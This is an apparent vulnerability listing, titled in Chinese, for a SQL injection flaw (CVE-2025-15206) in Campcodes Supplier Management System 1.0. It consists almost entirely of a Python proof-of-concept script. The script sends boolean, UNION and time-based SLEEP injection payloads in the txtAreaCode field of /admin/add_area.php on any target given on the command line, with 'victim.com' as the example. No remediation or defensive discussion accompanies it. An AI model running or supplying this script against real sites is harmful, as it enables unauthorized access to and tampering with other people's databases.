CVE-2025-15206 Campcodes Supplier Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15206 PoC - Campcodes Supplier Management System SQL Injection # Target: /admin/add_area.php # Parameter: txtAreaCode def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in txtAreaCode parameter """ # Construct the vulnerable endpoint endpoint = f"{target_url}/admin/add_area.php" # Prepare POST data with SQL injection payload data = { 'txtAreaCode': payload, 'btnSubmit': 'Save' } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15206.py <target_url>") print("Example: python cve-2025-15206.py http://victim.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2025-15206 SQL Injection PoC") print(f"[*] Target: {target}") print("[*] Testing basic SQL injection...") # Test payloads payloads = [ "' OR '1'='1", # Basic boolean-based injection "1' UNION SELECT NULL--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind injection "1' AND 1=1--", # Boolean test true "1' AND 1=2--", # Boolean test false ] for i, payload in enumerate(payloads, 1): print(f"\n[*] Test {i}: {payload}") result = exploit_sql_injection(target, payload) if "Error" not in result: print(f"[+] Payload sent successfully") print(f"[+] Response length: {len(result)} bytes") if __name__ == "__main__": main()